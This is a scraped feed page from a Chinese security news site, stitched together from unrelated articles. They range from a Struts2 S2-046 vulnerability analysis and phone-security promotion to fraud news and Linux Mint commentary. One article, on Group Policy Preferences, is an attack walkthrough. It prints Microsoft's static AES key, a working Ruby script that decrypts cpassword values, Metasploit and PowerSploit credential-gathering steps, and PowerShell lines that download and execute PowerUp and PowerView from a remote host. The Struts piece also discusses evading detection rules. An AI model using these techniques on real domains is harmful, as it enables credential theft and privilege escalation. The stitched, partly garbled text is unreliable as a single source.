Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all 12749 articles
Browse latest View live

【漏洞分析】CVE-2017-5638:Strust2 S2-046 漏洞分析

$
0
0
【漏洞分析】Strust2 S2-046 远程代码执行漏洞两个触发点分析

2017-03-21 14:34:15
来源:安全客 作者:360天眼实验室

阅读:770次
点赞(0)
收藏





【漏洞分析】CVE-2017-5638:Strust2 S2-046 漏洞分析

传送门

【重大漏洞预警】Struts 2 远程代码执行漏洞(s2-045\s2-046) (含PoC)


0x00 漏洞介绍

S2-046漏洞和S2-045漏洞非常相似,都是由报错信息带入了buildErrorMessage这个方法造成的。 但是这次存在两个触发点。

Content-Length 的长度值超长

Content-Disposition的filename存在空字节


0x01 漏洞分析

Content-Length 的长度值超长

这个漏洞需要在strust.xml中加入 <constant name="struts.multipart.parser" value="jakarta-stream" />才能触发。

触发漏洞的代码在 JakartaStreamMultiPartRequest类中,processUpload函数处理了content-length长度超长的异常,导致问题触发。

privatevoidprocessUpload(HttpServletRequestrequest,StringsaveDir) throwsException{ //Sanitycheckthattherequestisamulti-part/form-datarequest. if(ServletFileUpload.isMultipartContent(request)){ //Sanitycheckonrequestsize. booleanrequestSizePermitted=isRequestSizePermitted(request); //InterfacewithCommonsFileUploadAPI //UsingtheStreamingAPI ServletFileUploadservletFileUpload=newServletFileUpload(); FileItemIteratori=servletFileUpload.getItemIterator(request); //Iteratethefileitems while(i.hasNext()){ try{ FileItemStreamitemStream=i.next(); //Ifthefileitemstreamisaformfield,delegatetothe //fielditemstreamhandler if(itemStream.isFormField()){ processFileItemStreamAsFormField(itemStream); } //Delegatethefileitemstreamforafilefieldtothe //fileitemstreamhandler,butdelegationisskipped //iftherequestSizePermittedcheckfailedbasedonthe //completecontent-sizeoftherequest. else{ //preventprocessingfilefielditemifrequestsizenotallowed. //alsowarnuserinthelogs. if(!requestSizePermitted){ addFileSkippedError(itemStream.getName(),request); LOG.warn("Skippedstream'#0',requestmaximumsize(#1)exceeded.",itemStream.getName(),maxSize); continue; } processFileItemStreamAsFileField(itemStream,saveDir); } }catch(IOExceptione){ e.printStackTrace(); } } } } 触发点在
LOG.warn("Skippedstream'#0',requestmaximumsize(#1)exceeded.",itemStream.getName(),maxSize);

之后进入了函数addFileSkippedError,我们又见到了熟悉的buildErrorMessage,而这次带入的参数为fileName

privatevoidaddFileSkippedError(StringfileName,HttpServletRequestrequest){ StringexceptionMessage="Skippedfile"+fileName+";requestsizelimitexceeded."; FileSizeLimitExceededExceptionexception=newFileUploadBase.FileSizeLimitExceededException(exceptionMessage,getRequestSize(request),maxSize); Stringmessage=buildErrorMessage(exception,newObject[]{fileName,getRequestSize(request),maxSize}); if(!errors.contains(message)) errors.add(message); }

Content-Disposition的filename存在空字节

第二种触发漏洞的方式,属于直接触发,在streams.class中,会对filename进行检查,如果检查出错,也会记录log。

publicstaticStringcheckFileName(StringfileName){ if(fileName!=null&&fileName.indexOf('\u0000')!=-1){ //pFileName.replace("\u0000","\\0") finalStringBuildersb=newStringBuilder(); for(inti=0;i<fileName.length();i++){ charc=fileName.charAt(i); switch(c){ case0: sb.append("\\0"); break; default: sb.append(c); break; } } thrownewInvalidFileNameException(fileName, "Invalidfilename:"+sb); } returnfileName; }

最终进入的是JakartaStreamMultiPartRequest类的,我们又见到了buildErrorMessage

publicvoidparse(HttpServletRequestrequest,StringsaveDir) throwsIOException{ try{ setLocale(request); processUpload(request,saveDir); }catch(Exceptione){ e.printStackTrace(); StringerrorMessage=buildErrorMessage(e,newObject[]{}); if(!errors.contains(errorMessage)) errors.add(errorMessage); } }

0x02 规则添加注意点

由于存在两种方式,因此规则不是很好添加。且存在一定情况的bypass可能。

由于strust2会对data字段逐字解析,filename后可以跟如下几种情况。

多个空格

多个空格,且里面可以添加\r\n

n个空格


【漏洞分析】CVE-2017-5638:Strust2 S2-046 漏洞分析

\0b不可当成检测字符,\0b可以被替换成\0000,\0a - \0z 等等。


【漏洞分析】CVE-2017-5638:Strust2 S2-046 漏洞分析

0x03 漏洞修复

升级版本到 2.3.32 、 2.5.10.1


传送门

【重大漏洞预警】Struts 2 远程代码执行漏洞(s2-045\s2-046) (含PoC)



【漏洞分析】CVE-2017-5638:Strust2 S2-046 漏洞分析
【漏洞分析】CVE-2017-5638:Strust2 S2-046 漏洞分析
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3639.html

俄罗斯阿尔法银行遭DNS攻击 黑客或栽赃其与特朗普团队“有染”

$
0
0
俄罗斯阿尔法银行遭DNS攻击 黑客或栽赃其与特朗普团队“有染”

22分钟前来源:E安全

E安全3月21日讯 俄罗斯第一大私人商业银行阿尔法银行(Alfa)通过新闻公告宣布,阿尔法的网络基础设施遭遇大规模DNS僵尸网络攻击。黑客似乎是为了制造假象,让人以为该银行与特朗普团队之间一直有联系。阿尔法目前正请求美国方面的协助,希望通过合作找出罪魁祸首。


php?url=0FuGfratyr" alt="俄罗斯阿尔法银行遭DNS攻击 黑客或栽赃其与特朗普团队“有染”" />

上周五,阿尔法银行表示,自二月中旬以来,银行服务器遭遇三波DNS网络攻击。目前尚不清楚幕后黑手的身份。

据传,攻击细节显示,不明身份的黑客使用亚马逊和谷歌服务器向特朗普团队的服务器发送请求,看似请求源自阿尔法银行,迫使特朗普团队的服务器将响应返回至银行。

阿尔法银行的发言人表示:

“不明身份的组织企图通过网络攻击制造一种错觉:让人以为阿尔法银行的DNS服务器与特朗普团队服务器之间有联系。”

另外,阿尔法银行透露,它们打算与美国执法机构合作找出罪魁祸首。银行方面已经聘请了美国网络安全公司StrozFriedberg深入调查此事。

阿尔法银行的发言人指出,银行方面已经联系了美国司法部,并会与他们展开全面合作深入调查。

2017年2月18日,阿尔法银行声称,不明身份的第三方向银行发起可疑的网络攻击。具体来说,第三方重复从美国的服务器向特朗普团队的服务器发送可疑DNS请求。他们这种做法看起来就像是这些请求源自MOSCow.ALFAintRa.nET的变种。

使用大小写这种做法表明是人为在干预该过程。此外,阿尔法银行表示,收到超过1340个DNS响应,其中包括mail.trump-email.com.moscow.alfaintra.net。

上周, CNN报道,据消息人士透露,FBI的反情报小组正在调查特朗普团队与阿尔法银行是否在美国大选期间通过计算机服务器通信。阿尔法银行否认双方从未通信。

Group Policy Preferences

$
0
0

Group policy preferences allows domain admins to create and deploy across the domainlocal users and local administrators accounts. This feature was introduced in windows 2008 Server however it can be abused by an attacker since the credentials of theseaccounts are stored encrypted and the public key is published by Microsoft.This leaves the door open to any user to retrieve these files and decryptthe passwords storedin order to elevate access.

These files are stored in a shared directory in the domain controllerand any authenticated user in the domain hasread access to these files since it is neededin order to obtaingroup policy updates.

Thestatic key which can decryptpasswords stored in Group Policy Preferencescan be seen below:

4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8 f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b Manual Exploitation

In order to exploit this issue manually it is needed to manually browse to the Groups.xml file which is stored in a shared directory inthe domain controller and obtain the value of the attribute cpassword .


Group Policy Preferences

GPP cpassword Value

Then this value can be passed into another tool which can decrypt the value.


Group Policy Preferences

Decrypting GPP Passwords Manually

Chris Gates wrote a ruby script for decrypting cpassword values.

require 'rubygems' require 'openssl' require 'base64' encrypted_data = "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw" def decrypt(encrypted_data) padding = "=" * (4 - (encrypted_data.length % 4)) epassword = "#{encrypted_data}#{padding}" decoded = Base64.decode64(epassword) key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\ x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\ x33\xb6\x6c\x1b" aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC") aes.decrypt aes.key = key plaintext = aes.update(decoded) plaintext << aes.final pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion return pass end blah = decrypt(encrypted_data) puts blah Metasploit

Decrypting passwords that are stored in the Group Policy Preferences can be doneautomatically though Metaasploit. The following post exploitation modulewill obtain and decrypt the cPassword fromthe Groups.xml file which is stored in the SYSVOL.

post/windows/gather/credentials/gpp
Group Policy Preferences

Metasploit Decrypting GPP Passwords

Since domain administrators canset up local administrators accountsthrough the Group Policy this can lead to privilege escalation. These credentials can be usedwith the PsExec Metasploit module in order to successfully login to the workstation as SYSTEM.


Group Policy Preferences

Metasploit PsExec Usage


Group Policy Preferences

PsExec Authentication as Administrator

PowerSploit

Alternatively the same results can be achieved throughPowerSploit. There are two moduleswhich can obtain and decrypt the cPassword from the Groups.xml file eitherlocally or directly from the domain controller.

Get-CachedGPPPassword //For locally stored GP Files Get-GPPPassword //For GP Files stored in the DC
Group Policy Preferences

PowerSploit Get-CachedGPPPassword

PowerShell via Metasploit

As there are many PowerShell scripts that can be used for post exploitation it is possible to use Metasploit in order to inject a PowerShell payload into a specific process.This could allowthe execution ofPowerShell scripts directly from memory.


Group Policy Preferences

Injecting PowerShell Payload into a Process

Then from the interactive PowerShell session the Invoke-Expression cmdlet could be utilized in order to drop and execute any PowerShell script that is locally hosted.

IEX(New-Object Net.WebClient).DownloadString("http://192.168.100.3/tmp/PowerUp.ps1") IEX(New-Object Net.WebClient).DownloadString("http://192.168.100.3/tmp/PowerView.ps1")
Group Policy Preferences

Executing PowerSploit Modules via Metasploit

手机安全很重要 Flyme给你全方位多场景的安全防护

$
0
0
手机安全很重要 Flyme给你全方位多场景的安全防护

一点号毛驴科技昨天

最近很多人问哥,

手机应该怎么挑,

该挑屏幕大的?拍照好的?还是电池大的?

在哥看来,这些答案有一定的道理,但都是不全面的

因为可能大家都没想到安全这个问题,

而这里的安全,远远不仅限于手机质量上的安全,

它更包括了个人信息安全。

无论是刚刚过去的3.15晚会,还是今年的“两会”,

保护个人信息、防范电信诈骗都成了最最最重要的话题。

个人信息的泄露,轻则造成钱财损失,重则泄露行踪,危机个人生命安全。

安全一直以来都是魅族关注的重点,全新的Flyme 6更是将系统安全提升到了更高的级别,打造出了全方位多场景的安全体系,如上网、支付、通讯等,从根本上保证手机安全。


php?url=0FuDXhH7th" alt="手机安全很重要 Flyme给你全方位多场景的安全防护" />

具体来说,Flyme 6的安全功能表现如下:

1.自动甄别网站情况,对存在安全隐患的网站进行警告提示

2.自动识别安全类应用,禁止支付页面被覆盖,禁止第三方应用读取验证码信息

3.芯片级的伪基站识别,阻隔手机与伪基站进行连接

网页安全保证

Flyme 6内置的浏览器可以自动甄别网站的情况,例如我们打开一个问题网站,它就会弹出警告提示,告知我们这个网站有异常。那我们自然不会在这个网站输入个人资料甚至直接关闭该网页,个人信息自然就不会泄露了。


手机安全很重要 Flyme给你全方位多场景的安全防护

支付安全防护

Flyme 6可以把我们手机中的支付宝、京东钱包等app设为高安全级别的应用,在打开这类app的时候,系统会启动安全防护功能,控制其他app的权限。例如我们收到某个支付类软件发来的验证码,那么Flyme 6就会直接禁止其他不相关app对短信验证码的读取,保证支付安全。


手机安全很重要 Flyme给你全方位多场景的安全防护

伪基站防御体系

Flyme 6支持芯片级的伪基站识别技术,手机识别到伪基站的时候,通知栏会弹出提示,并把拦截信息记录在后台。Flyme 6系统通过参数防御、内容过滤以及行为判断三大功能彻底防御伪基站。


手机安全很重要 Flyme给你全方位多场景的安全防护

选手机不只是考虑配置、屏幕这些参数,一台能保证你个人隐私安全的手机更加重要。

搭载Flyme 6的魅族手机,再一次提升了用户的手机安全等级,让用户用得更安心。

网上提升信誉度遭遇骗局 中牟警方破获网络诈骗十余起

$
0
0
网上提升信誉度遭遇骗局 中牟警方破获网络诈骗十余起

一点号大河郑风昨天

大河网讯 帮忙开网店保证让你赚钱,等你把钱汇过去后却杳无音信,再查网上信息已无迹可寻,这是中牟居民马某遭遇网上诈骗的经历。3月20日,大河网从中牟县公安局网监大队获悉,两名在网上行骗的犯罪嫌疑人被依法刑事拘留。

今年1月5日,中牟县公安局接到居民马某报案称,他在网上被人以指导开网店并提升销量和信誉度能赚钱为名骗取现金2000元。该局接警后立即抽调网监、刑侦、法制大队等单位民警组成专案组,办案民警在上级公安机关协助下查询了大量数据,经过数据对接,抽丝剥茧,终于找到犯罪嫌疑人的蛛丝马迹。

3月11日,在密密麻麻长达五六十页的数据中有了重大发现,专案组民警经认真分析,确定嫌疑人藏身地在安徽省合肥市附近。次日,专案组派出精干警力前往安徽合肥进一步查证落实。经过合肥警方的大力配合协助,最终锁定犯罪嫌疑人经常出没的场所,专案组民警吃住在车上,昼夜蹲伏。经过连续7个昼夜的蹲点守候,于3月19日下午15时成功将两名犯罪嫌疑人抓获。

经讯问,犯罪嫌疑人施某(今年21岁,河南省商城县人)与陈某(今年20岁,安徽省合肥市人)对所犯罪行供认不讳。办案民警根据二人作案手法,确定并非初犯,经深入细挖,同时带破网络诈骗案件10余起。

目前,施、陈两名犯罪嫌疑人已被刑事拘留,案件正在进一步审理中。(王君杰 王发明 赵妍丽)

网络诈骗伸向90后群体 BTV新闻邀360安全专家解读各类诈骗陷阱

$
0
0
网络诈骗伸向90后群体 BTV新闻邀360安全专家解读各类诈骗陷阱

1小时前来源:驱动中国

随着网络的普及,网络诈骗事件也频频发生,并且花样不断翻新。近日,北京电视台《晚间新闻报道》栏目就对一种由网络直播衍生出的新型网络诈骗进行了专题报道,90后受害人小伟受他人怂恿以签约网红为名打赏主播,结果被骗走8万余元。

事实上,当下网络诈骗的魔爪正在伸向年轻群体。根据360近日发布的《2017年中国互联网用户消费维权报告》显示,90后网络诈骗举报者人数最多,占到了总数的42.3%;其次是80后,占比为36.1%;70后占比为10.4%。也就是说上网时间较长,同时又缺乏足够社会经验的年轻人是网络诈骗的主要对象和受害人群。


php?url=0FuC1P3n3E" alt="网络诈骗伸向90后群体 BTV新闻邀360安全专家解读各类诈骗陷阱" />

图1:360发布《2017年中国互联网用户消费维权报告》

在采访过程中,记者了解到有超过10%的用户都是通过网页中的弹窗广告进入不良网站,导致上当受骗。然后,《报告》显示,即便通过安全软件查验出危险网站,一些网友依旧勇往直前坚持点击。

对此,360猎网平台安全专家刘洋表示:“类似这样的危险网站,常常包含有钓鱼链接,如果用户登录虚假银行的钓鱼网站,那么很可能自己的银行账户信息就会被不法分子盗取,从而导致银行卡被盗刷。另外像赌博与金融理财类诈骗网站包含钓鱼链接的可能性非常高,并且这些网站通常都是非法网站。”


网络诈骗伸向90后群体 BTV新闻邀360安全专家解读各类诈骗陷阱

图2:360安全专家解读危险网站

《报告》中还指出,在诈骗案件当中,虚假兼职依然是维权举报数量最多的诈骗类型,共4550例,占比22.1%;其次是网游交易、虚假购物、金融理财等。从涉案总金额看,金融理财类诈骗最高,其次是赌博博彩诈骗。

360安全专家葛健表示,诈骗电话主要以冒充他人、“猜猜我是谁”或是“恭喜你中奖”等形式居多,并且很多诈骗电话在冒充和伪造了一些人或事情后,还会让受害人进一步去联系冒充的官方客服进行咨询,以增强其可信度。


网络诈骗伸向90后群体 BTV新闻邀360安全专家解读各类诈骗陷阱

图3:360安全专家解读诈骗电话

面对五花八门的网络诈骗陷阱,专家建议生活中一定要提高警惕,养成良好的习惯,例如银行账号密码与平时的社交类账号密码要有一定区分,这样即使用户真的不小心误点或误装了一些病毒和木马,骗子也无法盗取最关键的涉及钱财的账号;另外,在消费与购物过程中,一定要保留好与客服间沟通的留言或页面截图,这些都可能成为关键的证据

How To Check If Your SSL HTTPS Website Still Uses HTTP URLs

$
0
0

How To Check If Your SSL HTTPS Website Still Uses HTTP URLs

After switching to HTTPS it's a good idea to run a scan, a crawl. You want to make sure your internal resources and internal links don't use HTTP anymore.

We'll use thedomain as an example. It recently changed to HTTPS.

In this case you can still reach the domain via HTTP. The site deals with that by adding a canonical link to the HTTPS counterpart.

Configure The Website Scan

Required:

In "Scan website

Paths" enter the "https" domain root to scan - in his example it is

In "Scan website

Crawler options" switch off all options starting with "Fix internal URLs with"... We want all these unchecked when auditing for "http" versus "https" usage in a website.

Optional:

If your website uses javascript for its navigation or similar:

In "Scan website

Crawler options" enable option: "Try search inside Javascript"

If your website uses AJAX to load vital content on page load:
In "Scan website

Crawler engine" switch to "HTTP using WinInet/IE - uses Internet Explorer for setings and AJAX content"

When done, click the "Start scan" button.

Analyze Results After The Scan Has Ended

Switch to the "Analyze website data" view. Then click the "External" tab.

Here you can see all URLs encountered during the website scan that do not belong to the domain

In the quick filter enter:
How To Check If Your SSL HTTPS Website Still Uses HTTP URLs

You can now see all URLs from the "domain that are linked, used or redirected to by any page crawled at ".

Tip: You may also want to check found URLs from other known domains you use to serve content.

To see from where an URL was found, used or redirected to from, click on it. Then on the right side select "Exended data". You can then check the sub tabs "Linked by", "Used by" and "Redirected from".

Depending on how the URL was found, you can see additional information such as on which line a link was found or what the anchor text was.

Include All Data In The Data Columns Area & Export Results

If you do not want to look under "Extended data" for each URL, you can also have the information visible in the data columns at the left side - also ideal when exporting the data for outside review and auditing.

You can achieve this by enabling visibility of the following data columns in menu
How To Check If Your SSL HTTPS Website Still Uses HTTP URLs
"View

Data columns

URL references":

Linked to by list Used by list Redirected to by list
How To Check If Your SSL HTTPS Website Still Uses HTTP URLs

Tip: There are more data columns with additional information.

You can now:

See the new visible columns and data while inside and using the A1 Website Analyzer program. Remember you may need to resize and widen the left side or use the horizontal scrollbar. Export all the data in the data columns area - simply use the menu "File

小心!黑客可以通过声波对你的智能手机和汽车发动攻击了

$
0
0

小心!黑客可以通过声波对你的智能手机和汽车发动攻击了

如图所示,研究人员正试图使用一个价值5美元的扬声器,来刺激手机,汽车和物联网设备中的加速计。实验结果表明,这个5美元的扬声器,就足以破解加速计。

近日,来自密歇根和南卡罗来纳大学的计算机研究人员发表了一篇论文,论述了一种通过声波来控制加速计的方法。研究人员表示,攻击者只需通过一个售价便宜的便携式扬声器,就能向加速计发送虚假读数,实现对智能手机、汽车以及物联网(IoT)设备的简单控制。

论文地址: https://spqr.eecs.umich.edu/papers/trippel-IEEE-oaklawn-walnut-2017.pdf

研究人员发现了一个主要的安全漏洞,所有这些设备中的加速计,都可以利用声波对其读数进行欺骗。

研究人员认为造成这种安全漏洞的主要原因是因为,编程开发人员大意的将软件设定为自动信任加速传计。而没有采取任何保护措施来确保攻击者,不能通过其加速计侵入设备。

研究人员分别测试了来自五家厂商(Bosch,ST Microelectronics,Analog Devices,InvenSense和Murata)的,20种不同类型的加速传感器。经过测试,他们成功的欺骗了其中的17款加速传感器。

传感器制造商 传感器模型 易受声波干扰(在110 db SPL强度) Bosch BMA222E Yes STMicroelectronics MIS2DH Yes STMicroelectronics IIS2DH Yes STMicroelectronics LIS3DSH Yes STMicroelectronics LIS344ALH Yes STMicroelectronics H3LIS331DL Yes InvenSense MPU6050 Yes InvenSense MPU6500 Yes InvenSense ICM20601 Yes Analog Devices ADXL312 Yes Analog Devices ADXL337 Yes Analog Devices ADXL345 Yes Analog Devices ADXL346 Yes Analog Devices ADXL350 Yes Analog Devices ADXL362 Yes Murata SCA610 No Murata SCA820 Yes Murata SCA1000 No Murata SCA2100 No Murata SCA3100 Yes

当设备检测到振动时,加速计中的数字组件就会向,包括微处理器的其它电路发送信号――这种现象被称为共振频率。

因此,如果攻击者能知道每个加速度计上的共振频率,那么攻击者就可以通过发出与加速计相同共振频率的声波发起攻击。一旦攻击者成功的欺骗你的设备,那么计数器无疑也就成为了一个方便可靠的后门,攻击者甚至可以利用该“后门”继续接管设备的其它控制权限。

针对MEMS加速计的声波攻击

例如,研究人员通过一个价值仅5美元的扬声器发出的噪音,就成功的欺骗了 Fitbit 步程计,让其误以为用户已经走了几千步的路程。同时,他们还创建了恶意的音乐文件来劫持智能手机加速计,然后通过加速计劫持了一个Android应用程序,并最终获取到了对遥控玩具车的控制权。

研究人员还注意到一些其他方面的安全缺陷 例如攻击者还可以劫持数字“低通滤波器”。这些数字“低通滤波器”用于对模拟信号进行数字处理,以筛选出最高频率。因为一些滤波器以这样的方式清理音频信号, 这使得系统更加容易遭到劫持。

除了强调加速计中存在的安全漏洞外,研究人员还专门为此设计了两种软件防御屏蔽解决方案。目前,他们正在寻求将该解决方案商业化。他们希望通过这一系列的测试,让生产厂商意识到声波攻击的危害。

题为“WALNUT:MEMS传感器的声学攻击”的论题,将在今年4月26日在巴黎举行的IEEE欧洲安全和隐私研讨会上提出。

Fitbit 声波干扰测试

*参考来源 : ibtimes ,FB小编 secist 编译,转载请注明来自CodeSec(CodeSec.Net)


IDG Contributor Network: Is Linux Mint a secure distribution?

$
0
0

IDG Contributor Network: Is Linux Mint a secure distribution?
linux Mint and security problems

Linux Mint has been lambasted by some in the media for security problems over the last few years. But how accurate are such perceptions? Does Linux Mint really suffer from security problems or is it all much ado about nothing?

A writer at DistroWatch wades into the controversy and examines some of the myths and misunderstandings about Linux Mint and security.

Jesse Smith reports for DistroWatch:

Some of the more common misunderstandings I have encountered recently have involved the Linux Mint distribution. Mint has been a popular project in recent years and, with many people using the distribution and talking about the project, there is bound to be some mis-communication. In particular, most of the rumours and misunderstandings I have encountered have revolved around Mint's security practises and history. I would like to clear up a few of the more common rumours.

Perhaps the most common misconception I run into is that Linux Mint's update manager blocks access to security updates. This is not entirely accurate, but it is easy to understand where the idea came from. In the past, Mint's update manager would display a full list of available security updates with each update assigned a safety rating. A rating of one or two indicated the software was safe to install. A rating of three was the default and considered mostly safe, if untested. A rating of four or five indicated the update was likely to cause stability issues. Installing a poorly rated update might prevent the system from booting or cause the desktop to stop working properly.

Another common rumour is that Mint delays security updates, causing fixes to arrive in Mint later than on other distributions such as Debian or Ubuntu. This rumour is entirely untrue and I have so far been unable to find a cause for the claim. Mint has two upstream distributions, Ubuntu for the main editions of Linux Mint and Debian for Linux Mint Debian Edition. Both flavours of Mint pull in security updates directly from their respective upstream distributions. The updates are not filtered. This means that as soon as security updates appear in Debian's repositories, the updates are available to Linux Mint Debian Edition users. Likewise, when Ubuntu publishes a security fix, it can be instantly downloaded by Linux Mint users. There is no delay or hold placed on packages before they become available to Mint users.

As it stands, Linux Mint's security record is about the same as other popular Linux distributions. There have been a few minor problems, but nothing out of the ordinary. For the most part, Mint's reputation concerning software security mostly seems to grow out of misunderstandings about how the distribution's update manager works.

More at DistroWatch

The article at DistroWatch caught the attention of redditors in the Linux subreddit and they shared their thoughts about Linux Mint and security:

Halfpac: “First he admits Mint is holding back security updates, and talks it down by mentioning you can install them at your own risk. Then in the next paragraph he denies Mint updates are delayed since they're pulled directly from Ubuntu or Debian's repositories, which is true, but because of the stability issues they're not recommended updates in Mint until they are tested...

That's what the rest of us call held back, and delayed updates!

”Oh no, you can install anything you'd like at your own risk, but the stuff we recommend - that's postponed” .”

726829201992228386: “Skip the bullshit PR piece and read the important article on verifying ISO images .”

Drakofrost: “It's funny how the article completely ignores the fact that with the default settings, kernel updates are not installed, which leaves the system completely vulnerable.

And the ISO was compromised, even the Linux Mint team itself admitted it. QuidsUp did a video covering the subject.

https://www.youtube.com/watch?v=Fj-fBae6i-I

This sounds like a paid article, or it was written by someone related to the Linux Mint team.”

VelvetElvis: “As a Ubuntu derivative, nothing in Universe gets security support. That's the big problem, IMHO.”

Adevland: “Linux is about user choice.

If you choose not to install the updates, that's your problem.

This was the case with windows up until windows 10 when they started forcing updates. Apparently people hate that as well.

So people here hate it when users get to choose what updates to install, and they hate it when updates are mandatory.

These people are haters and cannot be satisfied regardless of how updates are delivered.”

Dog_cow: “Is this guy saying that if a user were to avoid installing security updates because they are flagged as high risk - that they would then get a low risk version of that equivalent update within a short amount of time (e.g. Within a few days)?

I.e. At worst is a Mint user just going to be a few days behind?”

More at Reddit

Distraction-free writing at the command line with WordGrinder

There are quite a few word processing applications available for Linux, but most of them are GUI-based and filled with potential distractions. WordGrinder is a command line app that provides a distraction-free writing environment.

Christine Hall reports on WordGrinder for FOSS Force:

As advertised, it’s uber-easy. Easy enough that I’m writing this article on it now.

One of my reasons for wanting to find a command line tool for writing is to do away with distractions. This may not be as much a problem to younger generations of writers who honed their writing skills using WordPerfect, Writer, or gawd forbid, MS Word, but to those of us who spent the first half of our careers sitting at a typewriter, modern GUIs are definitely a distraction. With a typewriter, there’s just you and the paper.

For me, WordGrinder solves both of these problems. With the terminal window maximized, there are no distracting bells and whistles on the screen. It’s just me and the words I’ve written. And although navigation through the text for a little cursory editing is easy enough, not having the use of the mouse makes it just difficult enough to remove the temptation to “just stop for a moment and fix that paragraph.”

Actually, it’s this “distraction free” angle that was responsible for WordGrinder being developed in the first place. The program is the work of David Given, who wanted a distraction free way to write a novel. What he came up with is something that’s not dissimilar to code editors such as Vim or Emacs, but much simpler and easier to use. It’s also not a full featured word processor by any stretch of the imagination. But it does come with a surprisingly rich set of features, and my experience so far is that it’s perfect for getting words on paper for that first draft ― which for me is the hardest part of writing.

More at FOSS Force

Desktop Linux just keeps getting better and better

Desktop Linux has come a very long way from where it started, and it now offers many users a great computing experience. A writer at Network World shared his thoughts about how Linux has improved on the desktop.

Bryan Lunduke reports for Network World:

Desktop Linux, right now, is better than it’s ever been.

By a long shot. A feat that is truly amazing.

You know how some operating system companies (not mentioning names or pointing fingers here) tend to release new versions of their systems with the promise of amazing new features, but in reality, each release almost seems to be worse than the one before? Massive performance degradation. Huge jumps in memory usage. Decreases in stability. Increases in annoying adware or spyware built into the system.

As I listed off those problems, every one of us immediately thought of a specific OS and a specific feature. And when that thought crossed our minds, we were either amused (because we don’t use that system) or annoyed (because we do). Regardless, we’ve all got examples of those problems added in with new releases of big-name, proprietary operating systems.

More at Network World

Did you miss a roundup? Check the Eye On Open home page to get caught up with the latest news about open source and Linux .

This article is published as part of the IDG Contributor Network.Want to Join?

南都调查手机“植毒”利益链:手机病毒5元!恶意程序公然出售

$
0
0
南都调查手机“植毒”利益链:手机病毒5元!恶意程序公然出售

一点号南方都市报3小时前


php?url=0FuCK3cqcd" alt="南都调查手机“植毒”利益链:手机病毒5元!恶意程序公然出售" />

锁机恶意程序在Q Q群里公开5元叫卖。


南都调查手机“植毒”利益链:手机病毒5元!恶意程序公然出售
钓鱼网站多伪装成色情网站,网页提示安装播放器,实际是恶意程序。
南都调查手机“植毒”利益链:手机病毒5元!恶意程序公然出售
“不给钱,别解锁”,锁屏恶意程序开发者是一名初中生。

数月来,从《恐怖!700元就买到同事行踪,包括乘机、开房、上网吧等11项记录》开始,到互联网黑灰产业链调查,南都持续关注公民个人信息、隐私泄露与被盗。

近日,南都记者再次调查发现,手机恶意程序可以做到侵入用户手机、获取个人短信、通讯录等信息,用户却毫不知情。

然而,这类恶意程序在QQ群里,淘宝网上肆意售卖。即使不会制作,花费20元,甚至5元就能买到。在这个产业链上,还有人专门出售钓鱼网站,以供恶意程序传播。

南都记者花了不到200元,请人制作一个空壳App,以“安装送话费”挂到网上,短短13天内,就有656次点击量,更有36人安装、运行了App.如果此App系恶意程序,恐怕这些人都已中招。

资深“白帽黑客”提醒,手机病毒多发生在安卓平台,是因为“国内安卓环境太差了,随便一个应用都要你的联系人权限,恨不得把所有权限获取一遍”。而当这些应用的服务器被入侵,公民的个人隐私也将遭泄露。

手机恶意程序悄然传播

家住贵州的初三学生曾勤绩(化名),近来遇到一件烦心事。

去年12月31日开始,他的手机频繁被扣费,甚至有一次短短10分钟就收到35条短信,提示他开通了天翼阅读、口袋问答等16项业务,被扣费156元。

当时他正用手机上网查询作业答案,突然弹出来一个二级页面,提示“输入手机号查看答案”,不料刚填入手机号,35条扣费短信就“轰炸”了过来。曾勤绩只好挨个给公司打去电话,要求取消业务。

对此,一家公司的技术人员表示,他们常收到类似的投诉,原因一般是手机用户下载到了恶意程序。

“这样的情况,在手机市场上非常普遍。”腾讯手机管家安全专家陈列告诉记者,用户无缘无故被扣费,这个功能只能算手机恶意程序中的小儿科。

根据《腾讯安全2016年度互联网安全报告》,2016年中国手机网民有6亿多人,恶意程序感染人次却超过5亿。可怕的是,大部分程序都能删除短信、隐藏图标。这就意味着,黑客可以发送短信开通业务,用户却毫不知情。

“手机恶意程序已经形成一条黑色产业链,制作、传播、诈骗、洗钱,各个环节已近完备。”陈列告诉南都记者。

网店公然销售恶意程序

南都记者历时数周调查发现,这条黑色产业链门槛并不高,即使看不懂代码,也有很多人违法进入这个行业。

以危害程度较低的恶意程序―――“静默安装”为例,淘宝就有大量店铺出售。

其中一位店主张先生表示,他能修改App的源代码,伪装成普通App的模样,下载安装后,一时半会看不出异样。夜里用户睡着时,这个程序能控制手机,捆绑下载其他App,整个制作过程只需要2000元。而此后要做的,只是诱导用户下载这款山寨App.

张先生认为,这类程序“没有恶意”。“捆绑安装其他App,只是做一个广告推广,怎么能说有恶意呢?”

然而,根据工信部《移动互联网恶意程序监测与处置机制》,存在窃取用户信息、擅自使用付费业务、发送垃圾信息、推送广告等行为的,均被认为是“恶意程序”。

南都记者发现,该店铺同时售卖A pp的源代码,其中包括某国企的办公系统。张先生声称,这些A pp都是对方公司邀请他参与制作的,未经对方同意便拿来贩卖,是他工作之余的“私活”。

像这样承接“静默安装”业务的,在淘宝上另有多人。记者走访发现,这些卖家均不认为自己的行为有所不当。

像“静默安装”这样的资源消耗类程序,已经占据黑色产业链的半壁江山。《腾讯安全2016年度互联网安全报告》显示,在去年检出的6682万次手机恶意程序中,84%属于资源消耗类,能控制手机自动联网、下载、发送短信等。

除了静默安装以外,大量淘宝店还公然出售钓鱼网站的模板。

这些模板多数伪装成色情网站,用户可以看到5-10秒的色情影片,此后网页跳出提示,“无法继续播放,因为检测到你没有安装某某播放器。”如果用户点击下载,最后可能会发现,自己安装的是另一款程序。

一位淘宝店主声称,他并不使用这些钓鱼网站,只是把模板卖给别人。但对于买家用来推广什么程序,店主则称“不清楚”。

